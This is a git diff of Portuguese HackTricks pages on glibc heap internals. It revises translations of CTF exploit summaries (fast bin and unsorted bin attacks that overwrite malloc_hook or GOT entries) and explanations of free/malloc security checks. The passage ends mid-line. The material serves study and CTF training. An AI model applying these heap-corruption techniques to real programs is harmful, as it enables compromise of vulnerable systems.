overflow de um byte para consolidar chunks no unsorted bin e obter um infoleak de libc e então realizar um ataque de fast bin para sobrescrever malloc hook com um endereço de one gadget. * **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html) -* Após um vazamento de informações abusando do unsorted bin com um UAF para vazar um endereço do libc e um endereço do PIE, o exploit deste CTF usou um ataque de fast bin para alocar um pedaço em um local onde os ponteiros para pedaços controlados estavam localizados, então foi possível sobrescrever certos ponteiros para escrever um one gadget no GOT -* Você pode encontrar um ataque de Fast Bin abusado através de um ataque unsorted bin: -* Note que é comum antes de realizar ataques de fast bin abusar das listas de liberação para vazar endereços do libc/heap (quando necessário). +* Após um infoleak abusando do unsorted bin com um UAF para vazar um endereço de libc e um endereço de PIE, o exploit deste CTF usou um ataque de fast bin para alocar um chunk em um lugar onde os ponteiros para chunks controlados estavam localizados, então foi possível sobrescrever certos ponteiros para escrever um one gadget no GOT. +* Você pode encontrar um ataque de Fast Bin abusado através de um ataque de unsorted bin: +* Note que é comum antes de realizar ataques de fast bin abusar das free-lists para vazar endereços de libc/heap (quando necessário). * [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) -* Só podemos alocar pedaços de tamanho maior que `0x100`. -* Sobrescrever `global_max_fast` usando um ataque Unsorted Bin (funciona 1/16 vezes devido ao ASLR, porque precisamos modificar 12 bits, mas devemos modificar 16 bits). -* Ataque de Fast Bin para modificar um array global de pedaços. Isso fornece um primitivo de leitura/escrita arbitrária, o que permite modificar o GOT e fazer com que alguma função aponte para `system`. +* Podemos apenas alocar chunks de tamanho maior que `0x100`. +* Sobrescrever `global_max_fast` usando um ataque de Unsorted Bin (funciona 1/16 vezes devido ao ASLR, porque precisamos modificar 12 bits, mas devemos modificar 16 bits). +* Ataque de Fast Bin para modificar um array global de chunks. Isso fornece uma primitiva de leitura/escrita arbitrária, que permite modificar o GOT e definir algumas funções para apontar para `system`. {% content-ref url="unsorted-bin-attack.md" %} [unsorted-bin-attack.md](unsorted-bin-attack.md) @@ -170,11 +170,11 @@ Aprenda e pratique Hacking GCP: -Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/binary-exploitation/libc-heap/heap-memory-functions/README.md b/binary-exploitation/libc-heap/heap-memory-functions/README.md index 34178bbb3..285c28983 100644 --- a/binary-exploitation/libc-heap/heap-memory-functions/README.md +++ b/binary-exploitation/libc-heap/heap-memory-functions/README.md @@ -1,18 +1,33 @@ -# Funções de Memória do Heap +# Funções de Memória Heap {% hint style="success" %} -Aprenda e pratique Hacking AWS: [**HackTricks Treinamento Especialista em Equipe Vermelha AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte) \ -Aprenda e pratique Hacking GCP: [**HackTricks Treinamento Especialista em Equipe Vermelha GCP (GRTE)** ](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} ## + +{% hint style="success" %} +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. + +
+{% endhint %} diff --git a/binary-exploitation/libc-heap/heap-memory-functions/free.md b/binary-exploitation/libc-heap/heap-memory-functions/free.md index 1d8e7ad36..1e1f16643 100644 --- a/binary-exploitation/libc-heap/heap-memory-functions/free.md +++ b/binary-exploitation/libc-heap/heap-memory-functions/free.md @@ -1,43 +1,43 @@ # free {% hint style="success" %} -Aprenda e pratique Hacking AWS: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} -## Resumo do Pedido Gratuito +## Resumo da Ordem Free -(Nenhuma verificação é explicada neste resumo e alguns casos foram omitidos por brevidade) +(Nenhuma verificação é explicada neste resumo e alguns casos foram omitidos para brevidade) 1. Se o endereço for nulo, não faça nada -2. Se o bloco foi mapeado, desmapeie-o e termine +2. Se o chunk foi mmaped, mummap ele e termine 3. Chame `_int_free`: -1. Se possível, adicione o bloco ao tcache -2. Se possível, adicione o bloco ao fast bin -3. Chame `_int_free_merge_chunk` para consolidar o bloco, se necessário, e adicione-o à lista não ordenada + 1. Se possível, adicione o chunk ao tcache + 2. Se possível, adicione o chunk ao fast bin + 3. Chame `_int_free_merge_chunk` para consolidar o chunk se necessário e adicione-o à lista não ordenada ## \_\_libc\_free `Free` chama `__libc_free`. -* Se o endereço passado for Nulo (0), não faça nada. +* Se o endereço passado for nulo (0), não faça nada. * Verifique a tag do ponteiro -* Se o bloco estiver `mapeado`, `desmapeie` e é isso +* Se o chunk for `mmaped`, `mummap` ele e isso é tudo * Se não, adicione a cor e chame `_int_free` sobre ele
-Código __lib_free +__lib_free código ```c void __libc_free (void *mem) @@ -91,16 +91,16 @@ libc_hidden_def (__libc_free) ## \_int\_free -### Início do \_int\_free +### \_int\_free start Começa com algumas verificações para garantir que: -* o **ponteiro** está **alinhado**, ou aciona o erro `free(): invalid pointer` -* o **tamanho** não é menor que o mínimo e que o **tamanho** também está **alinhado** ou aciona o erro: `free(): invalid size` +* o **ponteiro** está **alinhado,** ou dispara o erro `free(): invalid pointer` +* o **tamanho** não é menor que o mínimo e que o **tamanho** também está **alinhado** ou dispara o erro: `free(): invalid size`
-Início do \_int\_free +_int_free start ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28 @@ -132,13 +132,13 @@ check_inuse_chunk(av, p); ### \_int\_free tcache -Ele primeiro tentará alocar esse chunk no tcache relacionado. No entanto, algumas verificações são realizadas anteriormente. Ele irá percorrer todos os chunks do tcache no mesmo índice do chunk liberado e: +Ele tentará primeiro alocar este bloco no tcache relacionado. No entanto, algumas verificações são realizadas anteriormente. Ele percorrerá todos os blocos do tcache no mesmo índice que o bloco liberado e: -- Se houver mais entradas do que `mp_.tcache_count`: `free(): too many chunks detected in tcache` -- Se a entrada não estiver alinhada: `free(): unaligned chunk detected in tcache 2` -- se o chunk liberado já foi liberado e está presente como chunk no tcache: `free(): double free detected in tcache 2` +* Se houver mais entradas do que `mp_.tcache_count`: `free(): too many chunks detected in tcache` +* Se a entrada não estiver alinhada: free(): `unaligned chunk detected in tcache 2` +* se o bloco liberado já foi liberado e está presente como bloco no tcache: `free(): double free detected in tcache 2` -Se tudo correr bem, o chunk é adicionado ao tcache e a função retorna. +Se tudo correr bem, o bloco é adicionado ao tcache e a função retorna.
@@ -190,13 +190,13 @@ return; ### \_int\_free fast bin -Comece verificando se o tamanho é adequado para o fast bin e verifique se é possível colocá-lo perto do top chunk. +Comece verificando se o tamanho é adequado para fast bin e verifique se é possível configurá-lo próximo ao top chunk. Em seguida, adicione o chunk liberado no topo do fast bin enquanto realiza algumas verificações: -- Se o tamanho do chunk for inválido (muito grande ou pequeno), acione: `free(): invalid next size (fast)` -- Se o chunk adicionado já estava no topo do fast bin: `double free or corruption (fasttop)` -- Se o tamanho do chunk no topo tiver um tamanho diferente do chunk que estamos adicionando: `invalid fastbin entry (free)` +* Se o tamanho do chunk for inválido (muito grande ou pequeno) acione: `free(): invalid next size (fast)` +* Se o chunk adicionado já era o topo do fast bin: `double free or corruption (fasttop)` +* Se o tamanho do chunk no topo tiver um tamanho diferente do chunk que estamos adicionando: `invalid fastbin entry (free)`
@@ -281,11 +281,15 @@ if (have_lock && old != NULL malloc_printerr ("invalid fastbin entry (free)"); } ``` -### \_int\_free final - -Se o bloco ainda não foi alocado em nenhum bin, chame `_int_free_merge_chunk` -
+ +### \_int\_free finale + +Se o chunk ainda não estiver alocado em nenhum bin, chame `_int_free_merge_chunk` + +
+ +_int_free finale ```c /* Consolidate other non-mmapped chunks as they arrive. @@ -318,7 +322,7 @@ munmap_chunk (p); ## \_int\_free\_merge\_chunk -Esta função tentará mesclar o chunk P de SIZE bytes com seus vizinhos. Coloque o chunk resultante na lista de bins não ordenados. +Esta função tentará mesclar o chunk P de SIZE bytes com seus vizinhos. Coloque o chunk resultante na lista de bin não ordenados. Algumas verificações são realizadas: @@ -326,11 +330,11 @@ Algumas verificações são realizadas: * Se o próximo chunk está fora dos limites da arena: `double free or corruption (out)` * Se o chunk não está marcado como usado (no `prev_inuse` do chunk seguinte): `double free or corruption (!prev)` * Se o próximo chunk tem um tamanho muito pequeno ou muito grande: `free(): invalid next size (normal)` -* se o chunk anterior não está em uso, ele tentará consolidar. Mas, se o prev\_size difere do tamanho indicado no chunk anterior: `corrupted size vs. prev_size while consolidating` +* se o chunk anterior não estiver em uso, tentará consolidar. Mas, se o prev\_size diferir do tamanho indicado no chunk anterior: `corrupted size vs. prev_size while consolidating`
-Código \_int\_free\_merge\_chunk +_int_free_merge_chunk code ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2 @@ -381,16 +385,16 @@ _int_free_maybe_consolidate (av, size);
{% hint style="success" %} -Aprenda e pratique AWS Hacking: [**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md b/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md index 595088961..320e0d7ed 100644 --- a/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md +++ b/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md @@ -1,84 +1,84 @@ # Verificações de Segurança das Funções de Heap {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} ## unlink -Para mais informações, verifique: +Para mais informações, consulte: {% content-ref url="unlink.md" %} [unlink.md](unlink.md) {% endcontent-ref %} -Esta é um resumo das verificações realizadas: +Este é um resumo das verificações realizadas: -* Verificar se o tamanho indicado do chunk é o mesmo que o `prev_size` indicado no próximo chunk +* Verifique se o tamanho indicado do chunk é o mesmo que o `prev_size` indicado no próximo chunk * Mensagem de erro: `corrupted size vs. prev_size` -* Verificar também se `P->fd->bk == P` e `P->bk->fw == P` +* Verifique também se `P->fd->bk == P` e `P->bk->fw == P` * Mensagem de erro: `corrupted double-linked list` -* Se o chunk não é pequeno, verificar se `P->fd_nextsize->bk_nextsize == P` e `P->bk_nextsize->fd_nextsize == P` +* Se o chunk não for pequeno, verifique se `P->fd_nextsize->bk_nextsize == P` e `P->bk_nextsize->fd_nextsize == P` * Mensagem de erro: `corrupted double-linked list (not small)` ## \_int\_malloc -Para mais informações, verifique: +Para mais informações, consulte: {% content-ref url="malloc-and-sysmalloc.md" %} [malloc-and-sysmalloc.md](malloc-and-sysmalloc.md) {% endcontent-ref %} -* **Verificações durante a busca de fast bin:** +* **Verificações durante a busca em fast bin:** * Se o chunk estiver desalinhado: * Mensagem de erro: `malloc(): unaligned fastbin chunk detected 2` -* Se o chunk à frente estiver desalinhado: +* Se o chunk para frente estiver desalinhado: * Mensagem de erro: `malloc(): unaligned fastbin chunk detected` -* Se o chunk retornado tiver um tamanho incorreto devido ao seu índice no fast bin: +* Se o chunk retornado tiver um tamanho que não está correto por causa de seu índice no fast bin: * Mensagem de erro: `malloc(): memory corruption (fast)` * Se algum chunk usado para preencher o tcache estiver desalinhado: * Mensagem de erro: `malloc(): unaligned fastbin chunk detected 3` -* **Verificações durante a busca de small bin:** +* **Verificações durante a busca em small bin:** * Se `victim->bk->fd != victim`: * Mensagem de erro: `malloc(): smallbin double linked list corrupted` -* **Verificações durante a consolidação** realizadas para cada chunk do fast bin: -* Se o chunk estiver desalinhado, acionar: +* **Verificações durante a consolidação** realizadas para cada chunk de fast bin: +* Se o chunk estiver desalinhado, acione: * Mensagem de erro: `malloc_consolidate(): unaligned fastbin chunk detected` -* Se o chunk tiver um tamanho diferente do que deveria devido ao índice em que está: +* Se o chunk tiver um tamanho diferente do que deveria por causa do índice em que está: * Mensagem de erro: `malloc_consolidate(): invalid chunk size` * Se o chunk anterior não estiver em uso e o chunk anterior tiver um tamanho diferente do indicado por prev\_chunk: * Mensagem de erro: `corrupted size vs. prev_size in fastbins` -* **Verificações durante a busca de unsorted bin**: -* Se o tamanho do chunk estiver estranho (muito pequeno ou muito grande): +* **Verificações durante a busca em unsorted bin**: +* Se o tamanho do chunk for estranho (muito pequeno ou muito grande): * Mensagem de erro: `malloc(): invalid size (unsorted)` -* Se o tamanho do próximo chunk estiver estranho (muito pequeno ou muito grande): +* Se o tamanho do próximo chunk for estranho (muito pequeno ou muito grande): * Mensagem de erro: `malloc(): invalid next size (unsorted)` -* Se o tamanho anterior indicado pelo próximo chunk diferir do tamanho do chunk: +* Se o tamanho anterior indicado pelo próximo chunk difere do tamanho do chunk: * Mensagem de erro: `malloc(): mismatching next->prev_size (unsorted)` * Se não `victim->bck->fd == victim` ou não `victim->fd == av (arena)`: * Mensagem de erro: `malloc(): unsorted double linked list corrupted` -* Como sempre estamos verificando o último, seu fd deve estar sempre apontando para a estrutura da arena. -* Se o próximo chunk não estiver indicando que o anterior está em uso: +* Como estamos sempre verificando o último, seu fd deve sempre apontar para a estrutura da arena. +* Se o próximo chunk não indicar que o anterior está em uso: * Mensagem de erro: `malloc(): invalid next->prev_inuse (unsorted)` * Se `fwd->bk_nextsize->fd_nextsize != fwd`: * Mensagem de erro: `malloc(): largebin double linked list corrupted (nextsize)` * Se `fwd->bk->fd != fwd`: * Mensagem de erro: `malloc(): largebin double linked list corrupted (bk)` -* **Verificações durante a busca de large bin (por índice):** +* **Verificações durante a busca em large bin (por índice):** * `bck->fd-> bk != bck`: * Mensagem de erro: `malloc(): corrupted unsorted chunks` -* **Verificações durante a busca de large bin (próximo maior):** +* **Verificações durante a busca em large bin (próximo maior):** * `bck->fd-> bk != bck`: * Mensagem de erro: `malloc(): corrupted unsorted chunks2` * **Verificações durante o uso do Top chunk:** @@ -105,63 +105,64 @@ Para mais informações, verifique: ## `_int_free` -Para mais informações, verifique: +Para mais informações, consulte: {% content-ref url="free.md" %} [free.md](free.md) {% endcontent-ref %} -* **Verificações no início do `_int_free`:** -* Ponteiro está alinhado: +* **Verificações durante o início de `_int_free`:** +* O ponteiro está alinhado: * Mensagem de erro: `free(): invalid pointer` * Tamanho maior que `MINSIZE` e tamanho também alinhado: * Mensagem de erro: `free(): invalid size` -* **Verificações no tcache do `_int_free`:** +* **Verificações em `_int_free` tcache:** * Se houver mais entradas do que `mp_.tcache_count`: * Mensagem de erro: `free(): too many chunks detected in tcache` * Se a entrada não estiver alinhada: * Mensagem de erro: `free(): unaligned chunk detected in tcache 2` * Se o chunk liberado já foi liberado e está presente como chunk no tcache: * Mensagem de erro: `free(): double free detected in tcache 2` -* **Verificações no fast bin do `_int_free`:** -* Se o tamanho do chunk for inválido (muito grande ou pequeno) acionar: +* **Verificações em `_int_free` fast bin:** +* Se o tamanho do chunk for inválido (muito grande ou pequeno), acione: * Mensagem de erro: `free(): invalid next size (fast)` -* Se o chunk adicionado já estiver no topo do fast bin: +* Se o chunk adicionado já era o topo do fast bin: * Mensagem de erro: `double free or corruption (fasttop)` * Se o tamanho do chunk no topo tiver um tamanho diferente do chunk que estamos adicionando: * Mensagem de erro: `invalid fastbin entry (free)` + ## **`_int_free_merge_chunk`** * **Verificações em `_int_free_merge_chunk`:** -* Se o chunk é o chunk superior: +* Se o chunk for o top chunk: * Mensagem de erro: `double free or corruption (top)` -* Se o próximo chunk está fora dos limites da arena: +* Se o próximo chunk estiver fora dos limites da arena: * Mensagem de erro: `double free or corruption (out)` -* Se o chunk não está marcado como usado (no prev\_inuse do chunk seguinte): +* Se o chunk não estiver marcado como usado (no prev\_inuse do chunk seguinte): * Mensagem de erro: `double free or corruption (!prev)` -* Se o próximo chunk tem um tamanho muito pequeno ou muito grande: +* Se o próximo chunk tiver um tamanho muito pequeno ou muito grande: * Mensagem de erro: `free(): invalid next size (normal)` -* Se o chunk anterior não está em uso, ele tentará consolidar. Mas, se o `prev_size` difere do tamanho indicado no chunk anterior: +* Se o chunk anterior não estiver em uso, ele tentará consolidar. Mas, se o `prev_size` diferir do tamanho indicado no chunk anterior: * Mensagem de erro: `corrupted size vs. prev_size while consolidating` ## **`_int_free_create_chunk`** * **Verificações em `_int_free_create_chunk`:** -* Ao adicionar um chunk no bin não ordenado, verificar se `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`: +* Adicionando um chunk no unsorted bin, verifique se `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`: * Mensagem de erro: `free(): corrupted unsorted chunks` ## `do_check_malloc_state` * **Verificações em `do_check_malloc_state`:** -* Se o chunk do fast bin estiver desalinhado: +* Se o fast bin chunk estiver desalinhado: * Mensagem de erro: `do_check_malloc_state(): unaligned fastbin chunk detected` ## `malloc_consolidate` * **Verificações em `malloc_consolidate`:** -* Se o chunk do fast bin estiver desalinhado: +* Se o fast bin chunk estiver desalinhado: * Mensagem de erro: `malloc_consolidate(): unaligned fastbin chunk detected` -* Se o tamanho do chunk do fast bin estiver incorreto: +* Se o tamanho do fast bin chunk estiver incorreto: * Mensagem de erro: `malloc_consolidate(): invalid chunk size` ## `_int_realloc` @@ -171,3 +172,18 @@ Para mais informações, verifique: * Mensagem de erro: `realloc(): invalid old size` * Tamanho do próximo chunk é muito grande ou muito pequeno: * Mensagem de erro: `realloc(): invalid next size` + +{% hint style="success" %} +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. + +
+{% endhint %} diff --git a/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md b/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md index 3bc530ce7..b47862ff8 100644 --- a/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md +++ b/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md @@ -6,11 +6,11 @@ Aprenda e pratique Hacking GCP: -Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} @@ -19,28 +19,28 @@ Aprenda e pratique Hacking GCP: -A função `malloc` na verdade chama `__libc_malloc`. Esta função verificará o tcache para ver se há algum bloco disponível do tamanho desejado. Se houver, ele o usará e, se não houver, verificará se é uma única thread e, nesse caso, chamará `_int_malloc` na arena principal e, se não, chamará `_int_malloc` na arena da thread. +A função `malloc` na verdade chama `__libc_malloc`. Esta função verificará o tcache para ver se há algum chunk disponível do tamanho desejado. Se houver, usará; se não, verificará se é uma única thread e, nesse caso, chamará `_int_malloc` na arena principal, e se não, chamará `_int_malloc` na arena da thread.
@@ -115,7 +115,7 @@ return victim; ```
-Observe como ele sempre marcará o ponteiro retornado com `tag_new_usable`, a partir do código: +Observe como ele sempre marcará o ponteiro retornado com `tag_new_usable`, do código: ```c void *tag_new_usable (void *ptr) @@ -126,15 +126,15 @@ recolored for accessing the memory there. ``` ## \_int\_malloc -Esta é a função que aloca memória usando os outros bins e o bloco superior. +Esta é a função que aloca memória usando os outros bins e o top chunk. * Início -Começa definindo algumas variáveis e obtendo o tamanho real que o espaço de memória solicitado precisa ter: +Ela começa definindo algumas variáveis e obtendo o tamanho real que o espaço de memória solicitado precisa ter:
-Início do \_int\_malloc +_int_malloc início ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3847 static void * @@ -182,11 +182,11 @@ return NULL; ### Arena -No caso improvável de não haver arenas utilizáveis, ele usa `sysmalloc` para obter um bloco do `mmap`: +No improvável caso de não haver arenas utilizáveis, ele usa `sysmalloc` para obter um pedaço de `mmap`:
-_int_malloc não é arena +_int_malloc not arena ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3885C3-L3893C6 /* There are no usable arenas. Fall back to sysmalloc to get a chunk from @@ -203,15 +203,15 @@ return p; ### Fast Bin -Se o tamanho necessário estiver dentro dos tamanhos dos Fast Bins, tente usar um pedaço do fast bin. Basicamente, com base no tamanho, ele encontrará o índice do fast bin onde os pedaços válidos devem estar localizados e, se houver algum, retornará um deles.\ -Além disso, se o tcache estiver ativado, ele **preencherá o tcache bin desse tamanho com fast bins**. +Se o tamanho necessário estiver dentro dos tamanhos dos Fast Bins, tente usar um chunk do fast bin. Basicamente, com base no tamanho, ele encontrará o índice do fast bin onde chunks válidos devem estar localizados e, se houver, retornará um deles.\ +Além disso, se o tcache estiver habilitado, ele **preencherá o bin do tcache daquele tamanho com fast bins**. Enquanto realiza essas ações, algumas verificações de segurança são executadas aqui: -* Se o pedaço estiver desalinhado: `malloc(): pedaço fastbin desalinhado detectado 2` -* Se o pedaço à frente estiver desalinhado: `malloc(): pedaço fastbin desalinhado detectado` -* Se o pedaço retornado tiver um tamanho incorreto por causa de seu índice no fast bin: `malloc(): corrupção de memória (fast)` -* Se algum pedaço usado para preencher o tcache estiver desalinhado: `malloc(): pedaço fastbin desalinhado detectado 3` +* Se o chunk estiver desalinhado: `malloc(): unaligned fastbin chunk detected 2` +* 